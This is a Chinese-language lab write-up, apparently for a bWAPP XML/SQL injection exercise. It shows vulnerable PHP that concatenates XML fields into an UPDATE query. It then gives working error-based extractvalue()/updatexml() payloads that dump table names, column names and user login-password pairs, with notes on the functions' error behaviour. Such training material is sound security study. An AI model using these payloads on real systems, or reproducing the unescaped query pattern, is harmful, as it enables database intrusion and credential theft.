XML注入
代码分析
//sqli8-1.php 点击按钮之后调用javascript,跳转到sqli8-2.php
<script type="text/javascript">
function ResetSecret()
{
var xmlHttp;
// Code for IE7+, Firefox, Chrome, Opera, Safari
if(window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}
// Code for IE6, IE5
else
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlHttp.open("POST","sqli_8-2.php",true);
xmlHttp.setRequestHeader("Content-type","text/xml; charset=UTF-8");
xmlHttp.send("<reset><login><?php if(isset($_SESSION["login"])){echo $_SESSION["login"];}?></login><secret>Any bugs?</secret></reset>");
}
</script>
//sqli8-2.php 接收传递过来的数据
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
ini_set("display_errors",1);
$xml = simplexml_load_string($body);
// Debugging
// print_r($xml);
$login = $xml->login;
$secret = $xml->secret;
if($login && $login != "" && $secret)
{
$sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
//可对查询语句进行注入,闭合 '
// Debugging
// echo $sql;
$recordset = $link->query($sql);
if(!$recordset)
{
die("Connect Error: " . $link->error);
}
$message = $login . "'s secret has been reset!";
}
}
low
- 爆库
<reset><login>1' or extractvalue(null,concat('#',(select database()))) or '</login><secret>Any bugs?</secret></reset>
- 爆表
<reset><login>1' or extractvalue(null,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema=database()))) or '</login><secret>Any bugs?</secret></reset>
-
爆列
<reset><login>1' or extractvalue(null,concat('#',(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()))) or '</login><secret>Any bugs?</secret></reset>
-
获取信息
<reset><login>1' or extractvalue(null,concat(0x7e,(select group_concat(login,'-',password) from users ))) or '</login><secret>Any bugs?</secret></reset>
<reset><login>1' or extractvalue(null,concat(0x7e,substring((select group_concat(login,'-',password) from users),49,81))) or '</login><secret>Any bugs?</secret></reset>
extractvalue()用法
mysql 5.1以后推出了xml的解析支持
SELECT extractValue('<a href="sss"></a><a href="2333"></a>','/a/attribute::href') body FROM `casexml`
函数解释
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
--正常查询,无报错
select username from security.user where id=1 and (extractvalue(null,'/x/xx'))
--非正常查询
select username from security.user where id=1 and (extractvalue(null,concat('~',(select database()))))
--结果 为执行database()函数并返回数据库名
--其中 concat的第一个参数为 ~的目的是因为以~开头的内容不是正确的xml命名规则的语法,所以导致报错,从而执行database()
#XML元素的命名规则
1、元素的名字可以包含字母、数字、和其他字符
2、元素的名字不能以xml(XML、Xml、xML等)开头
3、元素的名字不能以数字或者标点符号开头
4、元素的名字不能包含空格
5、XML文档除了XML以外,没有其他所谓的保留字,任何的名字都可以使用,但是应该尽量使元素名字具有可读性,名字使用下划线是个不错的选择
6、尽量避免使用"-"和".",因为可能引起混乱。
7、在XML元素命名中不要使用”:”,因为XML命名空间需要用到这个十分特殊的字符。
updatexml()用法
函数解释
updatexml(XML_document, XPath_string, string)
目标xml文档,xml路径,更新的内容
select username from security.user where id=1 and (updatexml('anything','/xx/xx','anything'))
select username from security.user where id=1 and (updatexml('anything',concat('~',(select database())),'anything'))
需要注意,extractvalue()和updatexml()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位。
select username from security.user where id=1 and (extractvalue(null,concat('~',substring(hex((select database())),1,5))))
select username from security.user where id=1 and (updatexml('anything',concat('~',(select database())),'anything'))